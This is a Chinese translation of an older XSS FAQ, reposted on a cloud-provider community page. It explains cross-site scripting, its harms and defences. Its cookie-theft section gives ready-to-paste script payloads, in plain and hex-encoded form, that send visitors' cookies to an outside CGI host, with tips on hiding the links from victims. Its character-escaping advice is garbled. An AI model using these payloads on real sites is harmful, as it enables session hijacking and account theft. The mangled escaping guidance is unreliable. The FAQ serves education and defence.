跨站指令碼攻擊(XSS)FAQ

來源:互聯網
上載者:User

原作者charlee、原始連結http://tech.idv2.com/2006/08/30/xss-faq/以及本聲明。

 

該文章簡單地介紹了XSS的基礎知識及其危害和預防方法。Web開發人員的必讀。譯自 http://www.cgisecurity.com/articles/xss-faq.shtml。

簡介

現在的網站包含大量的動態內容以提高使用者體驗,比過去要複雜得多。所謂動態內容,就是根據使用者環境和需要,Web應用程式能夠輸出相應的內容。動態網站會受到一種名為“跨站指令碼攻擊”(Cross Site Scripting, 安全專家們通常將其所寫成 XSS)的威脅,而靜態網站則完全不受其影響。這篇FAQ將使你能更深入地理解這種威脅,並給出如何檢測並防止的建議。

什麼是跨站指令碼攻擊?

跨站指令碼攻擊(也稱為XSS)指利用網站漏洞從使用者那裡惡意盜取資訊。使用者在瀏覽網站、使用即時通訊軟體、甚至在閱讀電子郵件時,通常會點擊其中的連結。攻擊者通過在連結中插入惡意代碼,就能夠盜取使用者資訊。攻擊者通常會用十六進位(或其他編碼方式)將連結編碼,以免使用者懷疑它的合法性。網站在接收到包含惡意代碼的請求之後會產成一個包含惡意代碼的頁面,而這個頁面看起來就像是那個網站應當產生的合法頁面一樣。許多流行的留言本和論壇程式允許使用者發表包含HTML和javascript的文章。假設使用者甲發表了一篇包含惡意指令碼的文章,那麼使用者乙在瀏覽這篇文章時,惡意指令碼就會執行,盜取使用者乙的session資訊。有關攻擊方法的詳細情況將在下面闡述。

XSS和CSS是什麼意思?

人們經常將跨站指令碼攻擊(Cross Site Scripting)縮寫為CSS,但這會與層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆。因此有人將跨站指令碼攻擊縮寫為XSS。如果你聽到有人說 “我發現了一個XSS漏洞”,顯然他是在說跨站指令碼攻擊。

跨站指令碼攻擊有什麼危害?

為了搜集使用者資訊,攻擊者通常會在有漏洞的程式中插入 JavaScript、VBScript、 ActiveX或Flash以欺騙使用者(詳見下文)。一旦得手,他們可以盜取使用者帳戶,修改使用者佈建,盜取/汙染cookie,做虛假廣告等。每天都有大量的XSS攻擊的惡意代碼出現。 Brett Moore的下面這篇文章詳細地闡述了“拒絕服務的攻擊”以及使用者僅僅閱讀一篇文章就會受到的“自動攻擊”。

  • http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
能否給出幾個跨站指令碼攻擊的例子?

著名的PHPnuke程式有很多XSS漏洞。由於該程式十分流行,因此經常被駭客們作為XSS的攻擊對象進行檢查。下面給出了幾個已公開報告的攻擊方法。

  • http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt
  • http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt
  • http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt
能否解釋一下XSS cookie盜竊是什麼意思?

根據作為攻擊對象的Web程式,下面某些變數和插入位置可能需要進行調整。要注意這隻是攻擊方法的一個例子。在這個例子中,我們將利用指令碼“a.php”中的 “viriable”變數中的跨站指令碼漏洞,通過正常請求進行攻擊。這是跨站指令碼攻擊最常見的形式。

第一步: 鎖定目標

當你找到某個Web程式存在XSS漏洞之後,檢查一下它是否設定了cookie。如果在該網站的任何地方設定了cookie,那麼就可以從使用者那裡盜取它。

第二步: 測試

不同的攻擊方式將產生不同的XSS漏洞,所以應適當進行測試以使得輸出結果看起來像是正常的。某些惡意指令碼插入之後會破壞輸出的頁面。(為欺騙使用者,輸出結果非常重要,因此攻擊者有必要調整攻擊代碼使輸出看起來正常。)

下一步你需要在連結至包含XSS漏洞的頁面的URL中插入 Javascript(或其他用戶端指令碼)。下面列出了一些經常用於測試XSS漏洞的連結。當使用者點擊這些連結時,使用者的cookie獎被發送到 www.cgisecurity.com/cgi-bin/cookie.cgi 並被顯示。如果你看到顯示結果中包含了cookie資訊,說明可能可以劫持該使用者的賬戶。

盜取Cookie的Javascript樣本。使用方法如下。

ASCII用法

http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> 

十六進位用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每種用法都先寫為ASCII,再寫成十六進位以便複製粘貼。

1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
第三步: 執行XSS

將做好的URL通過電子郵件或其他方式發送出去。注意如果你直接將URL發送給其他人(通過電子郵件、即時通訊軟體或其他方式),你應當將其進行十六進位編碼,因為這些URL一眼便可看出包含惡意代碼,但經過十六進位編碼之後就可以欺騙大部分人。

第四步: 處理收集到的資訊

一旦使用者點擊了你的URL,相應資料就會被發送到你的CGI指令碼中。這樣你就獲得了 cookie資訊,然後你可以利用Websleuth之類的工具來檢查是否能盜取那個賬戶。

在上面的例子中,我們僅僅將使用者帶到了 cookie.cgi頁面上。如果你有時間,你可以在CGI中將使用者重新導向到原來的頁面上,即可在使用者不知不覺之中盜取資訊。

某些電子郵件程式在開啟附件時會自動執行附件中的Javascript代碼。即使像Hotmail這樣的大型網站也是如此,不過它對附件內容作了許多過濾以避免cookie被盜。

作為網站管理者應當如何防範?

這個問題很簡單。堅決不要相信任何使用者輸入並過濾所有特殊字元。這樣既可消滅絕大部分的XSS攻擊。另一個建議是輸出頁面時將 < 和 > 變換成 < 和 >。要記住,XSS漏洞極具破壞性,一旦被利用,它會給你的事業帶來極大的損害。攻擊者會將這些漏洞公之於眾,這會在使用者隱私的問題上大大降低你的網站的使用者信賴度。當然,僅僅將 ( 和 ) 變換成 < 和 > 是不夠的,最好將 ( 和 ) 變換成 ( 和 ),# 和 & 變換成 # 和 &。

作為使用者應當如何防範?

保護自己的最好方法就是僅點擊你想訪問的那個網站上的連結。例如,如果你訪問了一個網站,該網站有一個連結指向了 CNN,那麼不要單擊該連結,而是訪問 CNN 的主要站台並使用搜尋引擎尋找相關內容。這樣可以杜絕90%以上的XSS攻擊。有時候XSS會在你開啟電子郵件、開啟附件、閱讀留言板、閱讀論壇時自動進行。當你開啟電子郵件或是在公用論壇上閱讀你不認識的人的文章時一定要注意。最好的解決辦法就是關閉瀏覽器的 Javascript 功能。在IE中可以將安全層級設定為最高,可以防止cookie被盜。

XSS漏洞有多常見?

由於XSS漏洞很容易在大型網站中發現,在駭客圈內它非常流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有這樣那樣的XSS漏洞。

在商業產品中,平均每個月能夠發現10-25個XSS漏洞。

加密能否防止XSS攻擊?

使用SSL(https)加密的網站並不比不加密的網站好到哪兒去。Web程式仍然以同樣的方式工作,只是攻擊是通過加密的串連實現。有些人看到瀏覽器上的鎖表徵圖就認為他們是安全的,其實不然。

XSS漏洞能否在伺服器上執行命令?

XSS漏洞會導致Javascript的惡意插入,但它的執行受到很多限制。如果攻擊者利用瀏覽器的漏洞,有可能在使用者的電腦上執行命令。因此,就算能夠執行命令也只能在用戶端。簡單地說,XSS漏洞可以觸發用戶端的其他漏洞。

如果我不修改CSS/XSS漏洞會怎樣?

如果不修改XSS漏洞,你的網站上的使用者會受到被篡改的威脅。許多大型網站都發現了XSS漏洞,這個問題已經得到普遍認識。如果不修改,發現它的人也許會警告你的公司,損害公司的信譽。你拒絕修改漏洞的訊息也會傳到客戶那裡,造成公司的信任危機。客戶不信任的話還怎麼做生意?

介紹一些更深入講解XSS的地方。

"Cross-site scripting tears holes in Net security"
http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm

Article on XSS holes
http://www.perl.com/pub/a/2002/02/20/css.html

"CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests"
http://www.cert.org/advisories/CA-2000-02.html

Paper on Removing Meta-characters from User Supplied Data in CGI Scripts.
http://www.cert.org/tech_tips/cgi_metacharacters.html

Paper on Microsoft's Passport System
http://eyeonsecurity.net/papers/passporthijack.html

Paper on Cookie Theft
http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies

The webappsec mailing list (Visit www.securityfocus for details)
webappsec@securityfocus.com

Many Thanks to David Endler for reviewing this document.

Published to the Public May 2002
Copyright May 2002 Cgisecurity.com

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.